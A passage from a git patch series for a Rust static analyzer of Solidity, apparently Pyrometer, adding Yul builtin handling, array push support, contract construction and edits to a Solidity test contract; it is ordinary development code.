`balance` operation had no input".to_string(), - // )); - // }; + self.cmp_inner(arena, ctx, loc, &lhs_paths, RangeOp::Eq, &rhs_paths) + } + "addmod" | "mulmod" => { + let b = Builtin::Uint(256); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "msize" | "pc" | "mload" | "sload" | "gas" | "returndatasize" => { + // TODO: actually handle this. @MemoryModel + let b = Builtin::Uint(256); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "calldatacopy" => { + // TODO: actually handle this. @MemoryModel + Ok(()) + } + "calldatasize" => { + // TODO: actually handle this. @MemoryModel + let b = Builtin::Uint(256); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "calldataload" => { + if inputs.len() != 1 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `calldataload` expects 1 arguments found: {:?}", + inputs.len() + ), + )); + } - // let b = Builtin::Uint(256); - // let mut var = ContextVar::new_from_builtin( - // loc, - // analyzer.builtin_or_add(b).into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // var.display_name = format!( - // "balance({})", - // elem.display_name(analyzer).into_expr_err(loc)? - // ); - // let node = analyzer.add_node(Node::ContextVar(var)); - // ctx.push_expr(ExprRet::Single(node), analyzer) - // .into_expr_err(loc) - // }) - // } - // "selfbalance" => { - // let b = Builtin::Uint(256); - // let mut var = - // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // var.display_name = "selfbalance()".to_string(); - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc) - // } - // "address" => { - // let b = Builtin::Address; - // let mut var = - // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // var.display_name = "address()".to_string(); - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc) - // } - // "extcodesize" => { - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `extcodesize` operation had no input".to_string(), - // )); - // }; + let [lhs_paths] = inputs.into_sized(); + // TODO: check const version + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + var.display_name = format!( + "calldata[{}:{}+32]", + elem.display_name(self).into_expr_err(loc)?, + elem.display_name(self).into_expr_err(loc)? + ); + let node = self.add_node(Node::ContextVar(var)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "keccak256" => { + let b = Builtin::Bytes(32); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "call" | "delegatecall" | "callcode" | "staticcall" => { + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b.clone()).into(), self) + .into_expr_err(loc)?; + var.display_name = format!("{name}_success"); + let mut range = SolcRange::try_from_builtin(&b).unwrap(); + range.min = Elem::from(Concrete::from(U256::from(0))); + range.max = Elem::from(Concrete::from(U256::from(1))); + var.ty.set_range(range).into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "create" | "create2" => { + let b = Builtin::Address; + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + var.display_name = format!("{name}_success"); + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "returndatacopy" => { + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc)?; + Ok(()) + } + "byte" => { + let b = Builtin::Uint(8); + let var = ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + "mstore" | "mstore8" => { + // TODO: improve this. Right now we are extremely pessimistic and just say we know nothing about memory variables anymore. + // We should check if the location is a reference to an existing var and update based on that + // @MemoryModel + let vars = ctx.local_vars(self).clone(); + vars.into_iter().try_for_each(|(_name, var)| { + // widen to any max range + let latest_var = var.latest_version_or_inherited_in_ctx(ctx, self); + if matches!( + latest_var.underlying(self).into_expr_err(loc)?.storage, + Some(StorageLocation::Memory(_)) + ) { + let res = latest_var.ty(self).into_expr_err(loc)?; + if let Some(r) = res.default_range(self).unwrap() { + let new_var = self.advance_var_in_ctx(latest_var, loc, ctx).unwrap(); + let res = new_var.set_range_min(self, arena, r.min).into_expr_err(loc); + let _ = self.add_if_err(res); + let res = new_var.set_range_max(self, arena, r.max).into_expr_err(loc); + let _ = self.add_if_err(res); + } + } + Ok(()) + })?; + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc)?; + Ok(()) + } + "sstore" => { + if inputs.len() != 2 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `{}` expects 2 arguments found: {:?}", + name, + inputs.len() + ), + )); + } + let [value, slot] = inputs.into_sized(); + let cvar = ContextVarNode::from(slot.expect_single().unwrap()); + + if let Some(slot) = cvar.slot_to_storage(self) { + self.match_assign_sides( + arena, + ctx, + loc, + &ExprRet::Single(slot.into()), + &value, + )?; + } else { + // TODO: improve this. We now handle `slot` but should try to figure out storage layout + let vars = ctx.local_vars(self).clone(); + vars.iter().try_for_each(|(_name, var)| { + // widen to any max range + let latest_var = var.latest_version(self); + if matches!( + latest_var.underlying(self).into_expr_err(loc)?.storage, + Some(StorageLocation::Storage(_)) + ) { + let res = latest_var.ty(self).into_expr_err(loc)?; + if let Some(r) = res.default_range(self).unwrap() { + let new_var = + self.advance_var_in_ctx(latest_var, loc, ctx).unwrap(); + let res = + new_var.set_range_min(self, arena, r.min).into_expr_err(loc); + let _ = self.add_if_err(res); + let res = + new_var.set_range_max(self, arena, r.max).into_expr_err(loc); + let _ = self.add_if_err(res); + } + } + Ok(()) + })?; + } + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc)?; + Ok(()) + } + "balance" => { + let [lhs_paths] = inputs.into_sized(); - // let b = Builtin::Uint(256); - // let mut var = ContextVar::new_from_builtin( - // loc, - // analyzer.builtin_or_add(b).into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // var.display_name = format!( - // "extcodesize({})", - // elem.display_name(analyzer).into_expr_err(loc)? - // ); - // let node = analyzer.add_node(Node::ContextVar(var)); - // ctx.push_expr(ExprRet::Single(node), analyzer) - // .into_expr_err(loc) - // }) - // } - // "codesize" => { - // let b = Builtin::Uint(256); - // let mut var = - // ContextVar::new_from_builtin(*loc, self.builtin_or_add(b).into(), self) - // .into_expr_err(*loc)?; - // var.display_name = "codesize()".to_string(); - // let node = self.add_node(var); - // ctx.push_expr(ExprRet::Single(node), self) - // .into_expr_err(*loc) - // } - // "codecopy" => { - // if arguments.len() != 3 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `{}` expects 3 arguments found: {:?}", - // id.name, - // arguments.len() - // ), - // )); - // } + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + var.display_name = + format!("balance({})", elem.display_name(self).into_expr_err(loc)?); + let node = self.add_node(Node::ContextVar(var)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "selfbalance" => { + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + var.display_name = "selfbalance()".to_string(); + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "address" => { + let b = Builtin::Address; + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + var.display_name = "address()".to_string(); + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "extcodesize" => { + let [lhs_paths] = inputs.into_sized(); + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + var.display_name = format!( + "extcodesize({})", + elem.display_name(self).into_expr_err(loc)? + ); + let node = self.add_node(Node::ContextVar(var)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "codesize" => { + let b = Builtin::Uint(256); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + var.display_name = "codesize()".to_string(); + let node = self.add_node(var); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + "codecopy" => { + if inputs.len() != 3 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `{}` expects 3 arguments found: {:?}", + name, + inputs.len() + ), + )); + } - // self.parse_inputs(arena, ctx, *loc, arguments)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `codecopy` operation had no input".to_string(), - // )); - // }; - // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - // .into_expr_err(loc) - // }) - // } - // "extcodecopy" => { - // if arguments.len() != 4 { - // return Err(ExprErr::InvalidFunctionInput( - // *loc, - // format!( - // "Yul function: `{}` expects 4 arguments found: {:?}", - // id.name, - // arguments.len() - // ), - // )); - // } + let [_, _, _, _] = inputs.into_sized(); + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc) + } + "extcodecopy" => { + if inputs.len() != 4 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "Yul function: `{}` expects 4 arguments found: {:?}", + name, + inputs.len() + ), + )); + } - // self.parse_inputs(arena, ctx, *loc, arguments)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(_lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `extcodecopy` operation had no input".to_string(), - // )); - // }; - // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - // .into_expr_err(loc) - // }) - // } - // "extcodehash" => { - // self.parse_ctx_yul_expr(arena, &arguments[0], ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "Yul `extcodesize` operation had no input".to_string(), - // )); - // }; + let [_, _, _, _] = inputs.into_sized(); + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc) + } + "extcodehash" => { + let [lhs_paths] = inputs.into_sized(); - // let b = Builtin::Bytes(32); - // let mut var = ContextVar::new_from_builtin( - // loc, - // analyzer.builtin_or_add(b).into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); - // var.display_name = format!( - // "extcodehash({})", - // elem.display_name(analyzer).into_expr_err(loc)? - // ); - // let node = analyzer.add_node(Node::ContextVar(var)); - // ctx.push_expr(ExprRet::Single(node), analyzer) - // .into_expr_err(loc) - // }) - // } - // _ => Err(ExprErr::Todo( - // *loc, - // format!("Unhandled yul function: \"{}\"", id.name), - // )), - // } + let b = Builtin::Bytes(32); + let mut var = + ContextVar::new_from_builtin(loc, self.builtin_or_add(b).into(), self) + .into_expr_err(loc)?; + let elem = ContextVarNode::from(lhs_paths.expect_single().into_expr_err(loc)?); + var.display_name = format!( + "extcodehash({})", + elem.display_name(self).into_expr_err(loc)? + ); + let node = self.add_node(Node::ContextVar(var)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc) + } + _ => { + let assoc_fn = ctx.associated_fn(self).into_expr_err(loc)?; + let all_yul_fns = assoc_fn.yul_funcs(self, assembly_block_idx); + if let Some(yul_fn) = all_yul_fns + .iter() + .find(|yul_fn| yul_fn.name(self).unwrap() == name) + { + let exprs = yul_fn.exprs(self).unwrap().clone(); + let end = stack.split_off(ctx.parse_idx(self)); + stack.extend(exprs); + stack.extend(end); + let inputs = inputs.as_vec(); + inputs + .into_iter() + .try_for_each(|i| ctx.push_expr(i, self).into_expr_err(loc)) + } else { + Err(ExprErr::Todo( + loc, + format!("Unhandled yul function: \"{}\"", name), + )) + } + } + } } - fn return_yul(&mut self, ctx: ContextNode, loc: Loc, size: ExprRet) -> Result<(), ExprErr> { + fn return_yul(&mut self, ctx: ContextNode, size: ExprRet, loc: Loc) -> Result<(), ExprErr> { match size { ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), ExprRet::Single(size) | ExprRet::SingleLiteral(size) => { @@ -724,7 +555,7 @@ pub trait YulFuncCaller: ExprRet::Multi(sizes) => { sizes .into_iter() - .try_for_each(|size| self.return_yul(ctx, loc, size))?; + .try_for_each(|size| self.return_yul(ctx, size, loc))?; Ok(()) } ExprRet::Null => Ok(()), From bf4cf2043901f9fa9dd48810fc774932e8886360 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 07:33:22 -0700 Subject: [PATCH 15/52] push fix --- .../pyrometer/tests/test_data/dyn_types.sol | 104 +++++++++--------- .../src/context_builder/flattened.rs | 4 +- .../src/func_call/intrinsic_call/array.rs | 45 ++++++-- .../func_call/intrinsic_call/constructors.rs | 29 ++++- 4 files changed, 120 insertions(+), 62 deletions(-) diff --git a/crates/pyrometer/tests/test_data/dyn_types.sol b/crates/pyrometer/tests/test_data/dyn_types.sol index 6f304c46..83d04e7b 100644 --- a/crates/pyrometer/tests/test_data/dyn_types.sol +++ b/crates/pyrometer/tests/test_data/dyn_types.sol @@ -4,38 +4,38 @@ pragma solidity ^0.8.0; contract DynTypes { uint256[] storeVar; - struct Strukt { - uint256 a; - uint256 b; - } + // struct Strukt { + // uint256 a; + // uint256 b; + // } - mapping(address => Strukt) public someMapping; + // mapping(address => Strukt) public someMapping; - function bytes_dyn(bytes calldata x) public pure { - bytes memory y = x; - require(x.length < 10); - y[8] = 0xff; - require(y.length == 9); - } + // function bytes_dyn(bytes calldata x) public pure { + // bytes memory y = x; + // require(x.length < 10); + // y[8] = 0xff; + // require(y.length == 9); + // } - function array_dyn(uint256[] memory x) public pure { - x[0] = 5; - require(x.length < 10); - uint256[] memory y = x; - y[8] = 100; - require(y.length == 9); - } + // function array_dyn(uint256[] memory x) public pure { + // x[0] = 5; + // require(x.length < 10); + // uint256[] memory y = x; + // y[8] = 100; + // require(y.length == 9); + // } - function nested_bytes_dyn(bytes[] memory x, uint y) public pure { - bytes memory a = hex"1337"; - x[0] = a; - require(x[0][0] == hex"13"); - // return x[0][0]; + // function nested_bytes_dyn(bytes[] memory x, uint y) public pure { + // bytes memory a = hex"1337"; + // x[0] = a; + // require(x[0][0] == hex"13"); + // // return x[0][0]; - x[y] = hex"1122"; - uint256 z = y - 1; - require(x[z + 1][0] == hex"11"); - } + // x[y] = hex"1122"; + // uint256 z = y - 1; + // require(x[z + 1][0] == hex"11"); + // } function array_push(uint256 x) public { // require(x > 5); @@ -51,34 +51,34 @@ contract DynTypes { require(y == x); } - function indexInto() public view returns (uint256) { - return storeVar[basicFunc()]; - } + // function indexInto() public view returns (uint256) { + // return storeVar[basicFunc()]; + // } - function basicFunc() public pure returns (uint256) { - return 1; - } + // function basicFunc() public pure returns (uint256) { + // return 1; + // } - function indexIntoMapping(address who) public { - // TODO: this should panic - Strukt storage a = someMapping[who]; - a.a = 100; - a.b = 100; - require(someMapping[who].a == 300); - } + // function indexIntoMapping(address who) public { + // // TODO: this should panic + // Strukt storage a = someMapping[who]; + // a.a = 100; + // a.b = 100; + // require(someMapping[who].a == 300); + // } - address[] t; + // address[] t; - function inLoop(address holder, address[] memory tokens) public pure { - address[] memory h = new address[](1); - h[0] = holder; - inLoop(h, tokens); - } + // function inLoop(address holder, address[] memory tokens) public pure { + // address[] memory h = new address[](1); + // h[0] = holder; + // inLoop(h, tokens); + // } - function inLoop(address[] memory holders, address[] memory) public pure { - for (uint j = 0; j < holders.length; j++) { - address holder = holders[j]; - holder; - } - } + // function inLoop(address[] memory holders, address[] memory) public pure { + // for (uint j = 0; j < holders.length; j++) { + // address holder = holders[j]; + // holder; + // } + // } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 0e9217e6..41461c1c 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1466,8 +1466,8 @@ pub trait Flatten: VarType::User(TypeNode::Struct(s), _) => { self.construct_struct_inner(arena, ctx, s, inputs, loc) } - VarType::User(TypeNode::Contract(_), _) => { - unreachable!("should be unreachable: contract") + VarType::User(TypeNode::Contract(c), _) => { + self.construct_contract_inner(arena, ctx, c, inputs, loc) } VarType::User(TypeNode::Func(s), _) => { if self.builtin_fn_nodes().iter().any(|(_, v)| *v == func) { diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs index 171fca16..1b3b615b 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs @@ -1,3 +1,4 @@ +use crate::assign::Assign; use crate::func_caller::NamedOrUnnamedArgs; use crate::{array::Array, bin_op::BinOp, ContextBuilder, ExpressionParser, ListAccess}; @@ -24,17 +25,47 @@ pub trait ArrayCaller: AnalyzerBackend + S inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "push" => { let inputs_vec = inputs.as_vec(); let arr = inputs_vec[0].expect_single().into_expr_err(loc)?; - let push_elem = if let Some(push_elem) = inputs_vec.get(1) { - Some(push_elem.expect_single().into_expr_err(loc)?) - } else { - None - }; + let arr = ContextVarNode::from(arr).latest_version(self); - todo!(); + // get length + let len = self + .get_length(arena, ctx, arr, true, loc)? + .unwrap() + .latest_version(self); + + // get the index access for the *previous* length + let index_access = self + .index_into_array_raw(arena, ctx, loc, len, arr, false, true)? + .unwrap(); + + // create a temporary 1 variable + let tmp_one = self.add_concrete_var(ctx, Concrete::from(U256::from(1)), loc)?; + + // add 1 to the length + let tmp_len = self.op(arena, loc, len, tmp_one, ctx, RangeOp::Add(false), false)?; + + let tmp_len = ContextVarNode::from(tmp_len.expect_single().unwrap()); + tmp_len.underlying_mut(self).unwrap().is_tmp = false; + + // set the new length + self.set_var_as_length(arena, ctx, loc, tmp_len, arr.latest_version(self))?; + + if let Some(push_elem) = inputs_vec.get(1) { + self.match_assign_sides( + arena, + ctx, + loc, + &ExprRet::Single(index_access.0.into()), + push_elem, + ) + } else { + ctx.push_expr(ExprRet::Single(index_access.0.into()), self) + .into_expr_err(loc) + } } "pop" => { todo!(); diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 01e165eb..83327ab1 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -3,7 +3,7 @@ use crate::{assign::Assign, func_call::helper::CallerHelper, ContextBuilder, Exp use graph::{ elem::*, - nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, StructNode}, + nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet, StructNode}, AnalyzerBackend, ContextEdge, Edge, Node, Range, VarType, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -169,6 +169,33 @@ pub trait ConstructorCaller: }) } + fn construct_contract_inner( + &mut self, + _arena: &mut RangeArena>, + ctx: ContextNode, + con_node: ContractNode, + _input: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + // construct a new contract + + let var = match ContextVar::maybe_from_user_ty(self, loc, con_node.0.into()) { + Some(v) => v, + None => { + return Err(ExprErr::VarBadType( + loc, + format!( + "Could not create context variable from user type: {:?}", + self.node(con_node) + ), + )) + } + }; + let contract_cvar = ContextVarNode::from(self.add_node(Node::ContextVar(var))); + ctx.push_expr(ExprRet::Single(contract_cvar.into()), self) + .into_expr_err(loc) + } + fn construct_struct_inner( &mut self, arena: &mut RangeArena>, From c269692df99b41b3b097c58f5b1bce5afc1b9e58 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 11:43:09 -0700 Subject: [PATCH 16/52] array fixes --- .../graph/src/range/elem/elem_enum/impls.rs | 12 ++ .../graph/src/range/exec/mem_ops/mem_get.rs | 5 +- .../pyrometer/tests/test_data/dyn_types.sol | 104 +++++++++--------- crates/solc-expressions/src/array.rs | 10 +- crates/solc-expressions/src/assign.rs | 86 +-------------- .../src/context_builder/flattened.rs | 42 +++++-- .../src/func_call/intrinsic_call/array.rs | 52 ++++++++- .../src/func_call/intrinsic_call/types.rs | 9 +- .../src/member_access/list_access.rs | 39 +++---- crates/solc-expressions/src/require.rs | 14 ++- crates/solc-expressions/src/variable.rs | 29 ----- 11 files changed, 182 insertions(+), 220 deletions(-) diff --git a/crates/graph/src/range/elem/elem_enum/impls.rs b/crates/graph/src/range/elem/elem_enum/impls.rs index 830581f8..282b5698 100644 --- a/crates/graph/src/range/elem/elem_enum/impls.rs +++ b/crates/graph/src/range/elem/elem_enum/impls.rs @@ -394,6 +394,18 @@ impl Elem { arena: &mut RangeArena>, ) -> Result, GraphError> { match (self, other) { + (Elem::Arena(_), _) => { + let (elem, idx) = self.dearenaize(arena); + let overlaps = elem.overlaps(other, eval, analyzer, arena); + self.rearenaize(elem, idx, arena); + overlaps + } + (_, Elem::Arena(_)) => { + let (elem, idx) = other.dearenaize(arena); + let overlaps = self.overlaps(&elem, eval, analyzer, arena); + other.rearenaize(elem, idx, arena); + overlaps + } (Elem::Concrete(s), Elem::Concrete(o)) => Ok(Some(o.val == s.val)), (Elem::Reference(s), Elem::Reference(o)) => { if s == o { diff --git a/crates/graph/src/range/exec/mem_ops/mem_get.rs b/crates/graph/src/range/exec/mem_ops/mem_get.rs index 62d3c99e..28506953 100644 --- a/crates/graph/src/range/exec/mem_ops/mem_get.rs +++ b/crates/graph/src/range/exec/mem_ops/mem_get.rs @@ -142,8 +142,9 @@ pub fn exec_get_index( } Elem::ConcreteDyn(d) => { d.val.iter().for_each(|(k, (v, _op))| { - if let Ok(Some(true)) = k.overlaps(rhs, true, analyzer, arena) { - candidates.push(v.clone()) + match k.overlaps(rhs, true, analyzer, arena) { + Ok(Some(true)) => candidates.push(v.clone()), + _ => {} } }); } diff --git a/crates/pyrometer/tests/test_data/dyn_types.sol b/crates/pyrometer/tests/test_data/dyn_types.sol index 83d04e7b..6f304c46 100644 --- a/crates/pyrometer/tests/test_data/dyn_types.sol +++ b/crates/pyrometer/tests/test_data/dyn_types.sol @@ -4,38 +4,38 @@ pragma solidity ^0.8.0; contract DynTypes { uint256[] storeVar; - // struct Strukt { - // uint256 a; - // uint256 b; - // } + struct Strukt { + uint256 a; + uint256 b; + } - // mapping(address => Strukt) public someMapping; + mapping(address => Strukt) public someMapping; - // function bytes_dyn(bytes calldata x) public pure { - // bytes memory y = x; - // require(x.length < 10); - // y[8] = 0xff; - // require(y.length == 9); - // } + function bytes_dyn(bytes calldata x) public pure { + bytes memory y = x; + require(x.length < 10); + y[8] = 0xff; + require(y.length == 9); + } - // function array_dyn(uint256[] memory x) public pure { - // x[0] = 5; - // require(x.length < 10); - // uint256[] memory y = x; - // y[8] = 100; - // require(y.length == 9); - // } + function array_dyn(uint256[] memory x) public pure { + x[0] = 5; + require(x.length < 10); + uint256[] memory y = x; + y[8] = 100; + require(y.length == 9); + } - // function nested_bytes_dyn(bytes[] memory x, uint y) public pure { - // bytes memory a = hex"1337"; - // x[0] = a; - // require(x[0][0] == hex"13"); - // // return x[0][0]; + function nested_bytes_dyn(bytes[] memory x, uint y) public pure { + bytes memory a = hex"1337"; + x[0] = a; + require(x[0][0] == hex"13"); + // return x[0][0]; - // x[y] = hex"1122"; - // uint256 z = y - 1; - // require(x[z + 1][0] == hex"11"); - // } + x[y] = hex"1122"; + uint256 z = y - 1; + require(x[z + 1][0] == hex"11"); + } function array_push(uint256 x) public { // require(x > 5); @@ -51,34 +51,34 @@ contract DynTypes { require(y == x); } - // function indexInto() public view returns (uint256) { - // return storeVar[basicFunc()]; - // } + function indexInto() public view returns (uint256) { + return storeVar[basicFunc()]; + } - // function basicFunc() public pure returns (uint256) { - // return 1; - // } + function basicFunc() public pure returns (uint256) { + return 1; + } - // function indexIntoMapping(address who) public { - // // TODO: this should panic - // Strukt storage a = someMapping[who]; - // a.a = 100; - // a.b = 100; - // require(someMapping[who].a == 300); - // } + function indexIntoMapping(address who) public { + // TODO: this should panic + Strukt storage a = someMapping[who]; + a.a = 100; + a.b = 100; + require(someMapping[who].a == 300); + } - // address[] t; + address[] t; - // function inLoop(address holder, address[] memory tokens) public pure { - // address[] memory h = new address[](1); - // h[0] = holder; - // inLoop(h, tokens); - // } + function inLoop(address holder, address[] memory tokens) public pure { + address[] memory h = new address[](1); + h[0] = holder; + inLoop(h, tokens); + } - // function inLoop(address[] memory holders, address[] memory) public pure { - // for (uint j = 0; j < holders.length; j++) { - // address holder = holders[j]; - // holder; - // } - // } + function inLoop(address[] memory holders, address[] memory) public pure { + for (uint j = 0; j < holders.length; j++) { + address holder = holders[j]; + holder; + } + } } diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 274a855c..4f40777b 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -128,10 +128,7 @@ pub trait Array: AnalyzerBackend + Sized { ) -> Result<(), ExprErr> { match (inner_paths, index_paths) { (_, ExprRet::Null) | (ExprRet::Null, _) => Ok(()), - (_, ExprRet::CtxKilled(kind)) => { - ctx.kill(self, loc, kind).into_expr_err(loc) - } - (ExprRet::CtxKilled(kind), _) => { + (_, ExprRet::CtxKilled(kind)) | (ExprRet::CtxKilled(kind), _) => { ctx.kill(self, loc, kind).into_expr_err(loc) } (ExprRet::Single(parent), ExprRet::Single(index)) | (ExprRet::Single(parent), ExprRet::SingleLiteral(index)) => { @@ -176,7 +173,7 @@ pub trait Array: AnalyzerBackend + Sized { let name = format!( "{}[{}]", parent.name(self).into_expr_err(loc)?, - index.name(self).into_expr_err(loc)? + index.as_controllable_name(self, arena).into_expr_err(loc)? ); if let Some(index_var) = ctx.var_by_name_or_recurse(self, &name).into_expr_err(loc)? { let index_var = index_var.latest_version_or_inherited_in_ctx(ctx, self); @@ -245,7 +242,6 @@ pub trait Array: AnalyzerBackend + Sized { let max = Elem::from(parent) .get_index(index.into()) .min(ContextVarNode::from(idx_access_node).into()); //.range_max(self).unwrap().unwrap()); - let idx_access_cvar = self.advance_var_in_ctx(ContextVarNode::from(idx_access_node), loc, ctx)?; @@ -265,7 +261,7 @@ pub trait Array: AnalyzerBackend + Sized { { // if the index access is also an array, produce a length variable // we specify to return the variable because we dont want it on the stack - let _ = self.get_length(arena, ctx, idx_access_node.into(), true, loc)?; + let _ = self.get_length(arena, ctx, idx_access_cvar, true, loc)?; } idx_access_cvar } else { diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 73c054f5..4b8a497d 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -121,6 +121,7 @@ pub trait Assign: AnalyzerBackend + Sized } /// Perform an assignment + #[tracing::instrument(level = "trace", skip_all)] fn assign( &mut self, arena: &mut RangeArena>, @@ -244,91 +245,6 @@ pub trait Assign: AnalyzerBackend + Sized let _ = self.add_if_err(res); } - if rhs_cvar.is_indexable(self).into_expr_err(loc)? { - // rhs is indexable. get the length attribute, create a new length for the lhs, - // and perform assign - let rhs_len_cvar = self.get_length(arena, ctx, rhs_cvar, true, loc)?.unwrap(); - let lhs_len_cvar = self.get_length(arena, ctx, lhs_cvar, true, loc)?.unwrap(); - self.assign(arena, loc, lhs_len_cvar, rhs_len_cvar, ctx)?; - // update the range - self.update_array_if_length_var( - arena, - ctx, - loc, - lhs_len_cvar.latest_version_or_inherited_in_ctx(ctx, self), - )?; - } - - self.update_array_if_index_access(arena, ctx, loc, lhs_cvar, rhs_cvar)?; - - // handle struct assignment - if let 